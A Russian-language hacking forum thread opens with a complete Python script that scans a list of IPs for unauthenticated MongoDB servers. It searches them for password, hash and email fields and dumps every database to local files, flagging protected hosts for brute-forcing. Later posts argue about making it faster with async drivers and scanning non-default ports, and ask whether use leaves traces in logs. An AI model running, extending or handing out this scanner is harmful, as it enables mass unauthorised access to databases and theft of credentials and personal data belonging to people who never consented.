Сканирование и дампинг MongoDB

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Старый скрипт для проверки IP на наличие MongoDB и проверку прав, если бд не закрыта правами, то присходит проверка на интересующие поля.
Скрипту года 2-3, работает в один поток, если нужно могу переписать, добавить многопоточность и Elastic, Couch и т.п.

Работает с последней версией Python (чуть пришлось переписать).
Установка зависимостей: pip install pymongo

Настройки тут:
Python:
    TARGET_PATH = r'ip.txt'
    MONGO_CONNECT_TIMEOUT = 5000
    MONGO_SOCKET_TIMEOUT = 5000
    MONGO_PORT = 27017
    PORT_CHECK_TIMEOUT = 5
Тут поля для поиска:
Python:
get_db_info(c,['pass', 'hash', 'email'])
Python:
import os, socket
from pymongo import MongoClient

def check_port(ip, port, portCheckTimeout):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(portCheckTimeout)
    try:
        s.connect((ip, port))
    except:
        return False
    else:
        return True

def get_db_info(c, find_word):
    if not os.path.exists(c.address[0]):
        os.makedirs(c.address[0])
    info_path = '{}/# Data_Base_Info'.format(c.address[0])
    write_log(info_path,'='*18 + ' MongoDB Info ' + '='*18)
    write_log(info_path,'\tIp Address: {}'.format(c.address[0]))
    write_log(info_path,'\tMongoDB Version: {}'.format(c.server_info()['version']))
    write_log(info_path,'\tDebugs Enabled: {}'.format(str(c.server_info()['debug'])))
    write_log(info_path,'\tPlatform: {} bit'.format(str(c.server_info()['bits'])))
    write_log(info_path,'\tData Bases: {}'.format(', '.join(c.database_names())))
    for word in find_word:
        write_log(info_path,'\tFind "{}": {}'.format(word, find_field(c,word)))
    write_log(info_path,'='*50)   

def get_dump(c):
    for collection in c.database_names():
        db = c[collection]
        for table in db.collection_names():
            if table != 'system.indexes':
                write_to_txt(c.address[0]+'/'+collection,('# Ip Address: {} Collection: {} Database: {}'.format(c.address[0],collection,table)).upper())
                # Set Columns Names
                cur = db[table].find({}).limit(1)
                for doc in cur:
                     write_to_txt(c.address[0]+'/'+collection,('# Columns: '+(', '.join(doc.keys()))))
                # Set Values
                cur = db[table].find({})
                line = []
                for doc in cur:
                    for k, v in doc.items():
                        try:
                            line.append(' '.join(str(v).split()))
                        except:
                            line.append('Error line')

                    write_to_txt(c.address[0]+'/'+collection,(', '.join(line)))
                    line = []
                write_to_txt(c.address[0]+'/'+collection,('-'*50))

def find_field(c, find_word):
    find_match = ''
    for collection in c.database_names():
        db = c[collection]
        for table in db.collection_names():
            if table != 'system.indexes':
                cur = db[table].find({}).limit(1)
                for doc in cur:
                     for field in doc.keys():
                         if find_word in field:
                             find_match = '[+] {} {} {}'.format(collection,table,field)
    if find_match == '':
        find_match = '[-] Match not found!'
    return find_match

def conn(ip, MongoPort, connectTimeoutMS, socketTimeoutMS, portCheckTimeout):
    if check_port(ip, MongoPort, portCheckTimeout):
        try:
            c = MongoClient(ip, MongoPort, connectTimeoutMS=connectTimeoutMS, socketTimeoutMS=socketTimeoutMS)
            c.list_database_names()
        except Exception as e:
            if ('servers found' in str(e)) or ('[Errno 10054]' in str(e)):
                print ('[-] {} MongoDB not found'.format(ip))
                write_to_txt('Bad',ip)
            elif 'auth' in str(e):
                print ('[*] {} MongoDB Require Authorized'.format(ip))
                write_to_txt('ForBrute',ip)
            else:
                print ('[?] {} Unidentified Error: {}'.format(ip, e))
                write_to_txt('Trash',ip)
            return False
        else:
            return c
    else:
        return False

def write_log(path, line):
    print (line)
    with open('{}.txt'.format(path), "a") as f:
        f.write('{}\n'.format(line))
        f.close()

def write_to_txt(path, line):
    with open('{}.txt'.format(path), "a") as f:
        f.write('{}\n'.format(line))
        f.close()

if __name__ == "__main__":

    TARGET_PATH = r'ip.txt'
    MONGO_CONNECT_TIMEOUT = 5000
    MONGO_SOCKET_TIMEOUT = 5000
    MONGO_PORT = 27017
    PORT_CHECK_TIMEOUT = 5

    ip_address = open(TARGET_PATH,'r').read().splitlines()
    for ip in ip_address:
        c = conn(ip, MONGO_PORT, MONGO_CONNECT_TIMEOUT, MONGO_SOCKET_TIMEOUT, PORT_CHECK_TIMEOUT)
        if c != False:
            get_db_info(c,['pass', 'hash', 'email'])
            get_dump(c)
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
добавить многопоточность
В данном случае лучше не многопоток, а асинхронность, т.к тут все по сути IO операции. И пайтон асинхронный биндинг под монго тоже есть, Motor называется. Нужные синхронные операции выносим в ThreadPoolExecutor, чтобы можно было их использовать на асинхронный лад, в асинхронном коде. После этого имеем асинхронный эвентлуп, который уже сам по себе очень быстро работает. Чтобы выжать по максимуму, плодим в несколько потоков/сабпроцессов таких эвентлупов. В качестве клиента можно взять за основу aiohttp/tornado. Есть над чем работать тут в общем. Ещё забыл упомянуть, что желательно сканировать не только стандартный порт монго, по секьюрным соображениям могли порт для монго изменить, чтобы обрезать вот такие простые сканеры...то есть не 27017 единым. А ещё монго, если по HTTP сходить на ее хост:порт, отдаст свою дефолтную страницу, что вот, тут я, монго(как 100% зацепка определить монго)
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
В данном случае лучше не многопоток, а асинхронность, т.к тут все по сути IO операции. И пайтон асинхронный биндинг под монго тоже есть, Motor называется. Нужные синхронные операции выносим в ThreadPoolExecutor, чтобы можно было их использовать на асинхронный лад, в асинхронном коде. После этого имеем асинхронный эвентлуп, который уже сам по себе очень быстро работает. Чтобы выжать по максимуму, плодим в несколько потоков/сабпроцессов таких эвентлупов. В качестве клиента можно взять за основу aiohttp/tornado. Есть над чем работать тут в общем. Ещё забыл упомянуть, что желательно сканировать не только стандартный порт монго, по секьюрным соображениям могли порт для монго изменить, чтобы обрезать вот такие простые сканеры...то есть не 27017 единым. А ещё монго, если по HTTP сходить на ее хост:порт, отдаст свою дефолтную страницу, что вот, тут я, монго(как 100% зацепка определить монго)
Конект к Монго и запросы к ней же IO операции?
Нужна просто реализаяция паттерна producer consumer с очередью и потоками/процессами.
Зачем ходить по http? Если после коннекта с пустыми логин:пасс можем прочитать лист бд, значит есть доступ.
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
Конект к Монго и запросы к ней же IO операции?
Насколько я знаю, в целом работа с сетью считается IO, в случае blocking IO, поток ожидает завершения операции и только после этого переходит к следующей инструкции, то есть имеется момент простоя. В случае non-blocking IO - поток не ожидает завершения IO x операции и переходит к следующей - y. После выполнения y операции, смотрит, завершена ли x операция, если завершена, возвращается в контекст выполнения, где происходила операция x, если не завершена, смотрит какие операции ещё остались(z...etc). То есть суть в том, что поток один, но IO не блочит поток и выполнение потока продолжается. За все это распределение, что должно выполняться отвечает эвентлуп. Так вот такая модель быстрее, чем если на IO операцию выделать отдельный поток, который будет простаивать в момент ее выполнения. Вот по такой модели и работает Motor в контексте асинхронного пайтон кода. Это асинхронный модуль для работы с монго с под пайтона. А pymongo вроде как является блокирующим.
Зачем ходить по http?
Просто как факт, что чекнуть есть ли монго на n порту можно и по http, если кому то вдруг это нужно. То, что можно по другому, я ж не спорю.
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Насколько я знаю, в целом работа с сетью считается IO, в случае blocking IO, поток ожидает завершения операции и только после этого переходит к следующей инструкции, то есть имеется момент простоя. В случае non-blocking IO - поток не ожидает завершения IO x операции и переходит к следующей - y. После выполнения y операции, смотрит, завершена ли x операция, если завершена, возвращается в контекст выполнения, где происходила операция x, если не завершена, смотрит какие операции ещё остались(z...etc). То есть суть в том, что поток один, но IO не блочит поток и выполнение потока продолжается. За все это распределение, что должно выполняться отвечает эвентлуп. Так вот такая модель быстрее, чем если на IO операцию выделать отдельный поток, который будет простаивать в момент ее выполнения. Вот по такой модели и работает Motor в контексте асинхронного пайтон кода. Это асинхронный модуль для работы с монго с под пайтона. А pymongo вроде как является блокирующим.

Просто как факт, что чекнуть есть ли монго на n порту можно и по http, если кому то вдруг это нужно. То, что можно по другому, я ж не спорю.
1. Работа с сетью гораздо более трудозатратная чем опирации ввода/вывода (забрать информацию с хоста более долгий процесс, чем записать её в файл), поэтому паралелить имеет смысл именно эти операции, смысл дампить если мы еще не приконектились? (асинхронность)
2. Motor в данном случае не подходит, так как для ElasticSearch нужна тогда подобная либа, в итоге зоопарк с костылями.
3. Почему тогда люди используют API, а не обращаются к сайту напрямую по http? :D
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
Работа с сетью гораздо более трудозатратная чем опирации ввода/вывода (забрать информацию с хоста более долгий процесс, чем записать её в файл), поэтому паралелить имеет смысл именно эти операции, смысл дампить если мы еще не приконектились? (асинхронность)
Работа с сетью это тоже IO. Паралеллить каждый запрос смысла мало, поскольку в асинхронной манере это будет работать быстрее за счёт того, что поток с операцией не простаивает, ожидая респонса. Сравни перформанс Django(синхронный, на каждый запрос выделяется по потоку) и nodejs или aiohttp. Увидишь разницу в обработке запросов в секунду.
Motor в данном случае не подходит, так как для ElasticSearch нужна тогда подобная либа, в итоге зоопарк с костылями.
Motor это асинхронный драйвер для монго в Python. Pymongo- судя по всему синхронный, а значит его нецелесообразно использовать в асинхронном коде, поскольку каждый запрос к монго будет блокировать эвентлуп. Почему это костыли и с чего ты это взял вообще не понятно.

Почему тогда люди используют API, а не обращаются к сайту напрямую по http?
Надеюсь это сарказм, иначе показывает твое полное непонимание темы. Возьмём rest архитектуру для апи. Смысл в том, что в принципах этой архитектуры заложено общение с помощью JSON/XML, но при этом передача данных происходит как раз таки по HTTP. Разница с обычным HTTP запросом к сайту в том, что в обычном сценарии отдаётся верстка, стили и прочая статика сайта, а по json/xml только данные, которые уже рендерятся/обрабатываются клиентом, сделавшим запрос по апи. Но в любом случае и апи и просто запрос к сайту в браузере происходит по HTTP:) если не брать во внимание специфику, а говорить о том, что используется повсеместно для организации api.
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Почему это костыли и с чего ты это взял вообще не понятно.
Про ElasticSearch, мы не читаем, поянтно.

Надеюсь это сарказм, иначе показывает твое полное непонимание темы.
Я не в курсе что возвращает Mongo по http, если json то ок, если вебморду вроде Kibana то читай выше про сравнение с API.
Возьмём rest архитектуру для апи. Смысл в том, что в принципах этой архитектуры заложено общение с помощью JSON/XML, но при этом передача данных происходит как раз таки по HTTP.
Не Rest,а RESTful, сам HTTP реаилзован на REST, братан ты уходишь в такие дебри пиздец, лучше бы кодес написал, а то с ахуенными советами я сам себе могу помочь.
"Сюда Flask бы засунуть и фронт на Svelte написать и очереди на rabbitMQ" и т.д.
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
Я не в курсе что возвращает Mongo по http
Я не говорил конкретно про монго, что монго работает по http под капотом:) так что ты тоже чутка невнимательный. Я в целом отвечал на это утверждение
Почему тогда люди используют API, а не обращаются к сайту напрямую по http? :D
———
Про ElasticSearch, мы не читаем, поянтно.
А под ElasticSearch разве нет асинхронного клиента?)
Хочешь сказать, что с под nodejs или асинхронных пайтон фреймворков с эластик нельзя работать в асинхронной манере? «Не верю».
Я в целом почему начал, посмотри на мое первое сообщение.
ты начал говорить про то, что код можно реализовать на потоках, а я начал говорить что в асинхронном стиле все будет идти быстрее. Конкретно с этим спорить глупо, поскольку и здравый смысл и тесты на перформанс проводились между синхронным подходом и асинхронным. Ты начал говорить про костыли, но какие костыли, когда так наоборот быстрее и качественнее...
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Конкретно с этим спорить глупо, поскольку и здравый смысл и тесты на перформанс проводились между синхронным подходом и асинхронным.
Мы спорим о том как я буду писать код, о том на что у меня есть время. (вот об этом действительно спорить глупо)
Если у тебя есть время разбираться с мотором, асинхронным клиентом для эластика, коуча и т.п. ю а велком, у меня на это нет времени.

Твой код в вакуме наверное пизже того что я в данный момент пишу, но свой я пишу, а ты размышляешь.
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
Скрипту года 2-3, работает в один поток, если нужно могу переписать, добавить многопоточность и Elastic, Couch и т.п.
Выходит, что твой тоже в вакууме, раз 2-3 года код в один поток работает. Выходит, все мы в некой мере мыслители=))
Другое дело, что ты предположил, что можно переписать этот код на многопоток, а я предположил, что на асинхронщине код будет работать быстрее. Вот и вся суть. Все остальное - какие-то разногласия с контраргументами о том, у кого, на что есть время и на что его нет. Но это не относится к сути моих советов о том, как сделать лучше, особенно если понимаешь и практикуешь такое ежедневно. Это всего лишь был совет на основе опыта, может будет кому-то полезным.
Твой код в вакуме наверное пизже того что я в данный момент пишу, но свой я пишу, а ты размышляешь.
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Другое дело, что ты предположил, что можно переписать этот код на многопоток, а я предположил, что на асинхронщине код будет работать быстрее.
Я предложил что я перепешу его на многопоток, а ты размышляешь как (мне?) это сделать.
Чувствуешь разницу?

Суть твоих советов: "Для монго вроде есть асинхронный клиент, он вроде работает и вроде быстрее и вроде такой же должен быть для Эластика, не верю что его не может быть".
Спасибо бро, ты скорее всего молодец, наверное у тебя должна быть полка, а на ней вроде бы должен быть пирожок, ведь глупо спорить что на полке не может быть пирожка?
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
Суть твоих советов: "Для монго вроде есть асинхронный клиент, он вроде работает и вроде быстрее и вроде такой же должен быть для Эластика, не верю что его не может быть".
Спасибо бро, ты скорее всего молодец, наверное у тебя должна быть полка, а на ней вроде бы должен быть пирожок, ведь глупо спорить что на полке не может быть пирожка?
Софистика, в чистом виде. На полке может быть пирожок, а может и не быть. А на какой полке? А асинхронный клиент для монго под пайтон есть. Могу даже ссылку скинуть))
И асинхронный код работает с IO быстрее синхронного. А поскольку работа с монго с под пайтона является сетевой операцией, а значит это IO, то ее можно выполнить быстрее и лучше, чем если ты будешь использовать pymongo и многопоточность.
И под эластик тоже есть асинхронные клиенты, иначе, если судить от обратного, с эластиком невозможно было бы работать под NodeJS. И это не костыли, как ты выразился, а незнание принципов, из-за того, что тебе некогда это изучить/применять, но это никак не дискредитирует моих советов, которым я следую сам ежедневно при разработке. Мы на форуме, так что мой совет имеет место быть. Если ты не хочешь, чтобы критиковали, по делу причём, твои мысли/идеи/разработки(а я и не критиковал, это был совет) - то зачем тогда ты постишь на форум свой контент...очевидно же для фидбека. В чем тогда проблема, я так и не пойму? Почему такая острая реакция на советы, которые, возможно, кому то помогут?
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Софистика, в чистом виде. На полке может быть пирожок, а может и не быть. А на какой полке? А асинхронный клиент для монго под пайтон есть. Могу даже ссылку скинуть))
И асинхронный код работает с IO быстрее синхронного. А поскольку работа с монго с под пайтона является сетевой операцией, а значит это IO, то ее можно выполнить быстрее и лучше, чем если ты будешь использовать pymongo и многопоточность.
И под эластик тоже есть асинхронные клиенты, иначе, если судить от обратного, с эластиком невозможно было бы работать под NodeJS. И это не костыли, как ты выразился, а незнание принципов, из-за того, что тебе некогда это изучить/применять, но это никак не дискредитирует моих советов, которым я следую сам ежедневно при разработке. Мы на форуме, так что мой совет имеет место быть. Если ты не хочешь, чтобы критиковали, по делу причём, твои мысли/идеи/разработки(а я и не критиковал, это был совет) - то зачем тогда ты постишь на форум свой контент...очевидно же для фидбека. В чем тогда проблема, я так и не пойму? Почему такая острая реакция на советы, которые, возможно, кому то помогут?
Софистика, это как раз то чем ты занимаешься.
Я работал с библиотеками pymongo, elasticsearch, threading, queue и паттернами многопоточности.
Знаю все подводные камни и как они работают.

Ты же знаешь что есть Motor, судя по всему ручаться за его стабильную работу ты не можешь.
И "какой-то асинхронный клиент" для ElasticSearch, что ж ахуенно, спасибо за такие советы!
Наверное метапрограммирование на форуме это бест практикс, тоже буду изучить/применять, ебаться с этим ежедневно при разработке.
Для чего я скинул? @JohnRipper в лс попросил.
 

Haunt

(L2) cache
Пользователь
Регистрация
07.11.2019
Сообщения
307
Реакции
401
Баллы
68
Я работал с библиотеками pymongo, elasticsearch, threading, queue и паттернами многопоточности.
Знаю все подводные камни и как они работают.
Ну так ты большой молодец. Я ничего не имею против твоего опыта. Я бл#ть просто сказал, что если сделаешь это асинхронно, то это будет быстрее, чем синхронно. И описал с помощью чего можно это сделать. С твоей же стороны вижу аргументы сначала про костыли, теперь ты что то говоришь про нестабильную работу. Шокавокуда...
Наверное метапрограммирование на форуме это бест практикс
Ты знаешь, случай недавно был. Ходил в ветклинику с котом. За то, чтобы посмотреть уши кота, без всяких там процедур, пришлось отвалить 10$. Просто. Посмотреть. И сказать свое мнение. К чему это я.
Бестпрактис, это получать за код бабки. По этому метапрограммирование это лучшее, что я могу предложить на данный момент, в контексте данного треда. Все остальное есть в семплах на стаковерфлоу, онлайн уроках и в доках. Мне за софистику в этом треде не платят. Мне типо доказывать про то, что асинхронный подход это не костыли или что то в духе "нет, нет Eject, Motor стабильный"? Да нахер мне это нужно. Я просто поделился своим опытом реальным + информацией по которой обучался сам, все остальное лирика.
 

Eject

(L3) cache
Пользователь
Регистрация
31.01.2019
Сообщения
272
Реакции
174
Баллы
41
Jabber
Ну так ты большой молодец. Я ничего не имею против твоего опыта. Я бл#ть просто сказал, что если сделаешь это асинхронно, то это будет быстрее, чем синхронно. И описал с помощью чего можно это сделать. С твоей же стороны вижу аргументы сначала про костыли, теперь ты что то говоришь про нестабильную работу. Шокавокуда...

Ты знаешь, случай недавно был. Ходил в ветклинику с котом. За то, чтобы посмотреть уши кота, без всяких там процедур, пришлось отвалить 10$. Просто. Посмотреть. И сказать свое мнение. К чему это я.
Бестпрактис, это получать за код бабки. По этому метапрограммирование это лучшее, что я могу предложить на данный момент, в контексте данного треда. Все остальное есть в семплах на стаковерфлоу, онлайн уроках и в доках. Мне за софистику в этом треде не платят. Мне типо доказывать про то, что асинхронный подход это не костыли или что то в духе "нет, нет Eject, Motor стабильный"? Да нахер мне это нужно. Я просто поделился своим опытом реальным + информацией по которой обучался сам, все остальное лирика.
Я не писал что асинхронный код это костыли, можешь подняться и перечитать.
Я писал о том что разведение зоопарка библиотек "которые ты только что загуглил" - это костыли, тем более асинхронных, тем более на пайтоне.
Ох, по поводу бестпрактикс ты мне прям глаза открыл, ты наверное тут единственный кто получает бабки за код, помнишь про пирожок на полке?
Давай как будет что предложить "в рамках данного треда", кроме гугления библиотек, ты придёшь и поделешься кодом, я даже лайк поставлю.
 

stormzy

floppy-диск
Пользователь
Регистрация
12.02.2020
Сообщения
3
Реакции
0
Баллы
1
oтносительно новый, это оставляет след в логс?
 

0xDataSeller

floppy-диск
Пользователь
Регистрация
26.05.2020
Сообщения
6
Реакции
2
Баллы
2
[QUOTE = "stormzy, post: 228967, member: 193206"]
Relatively new, does this leave a mark on the logs?
[/ QUOTE]
I think queries get logged, so yes.
 
Верх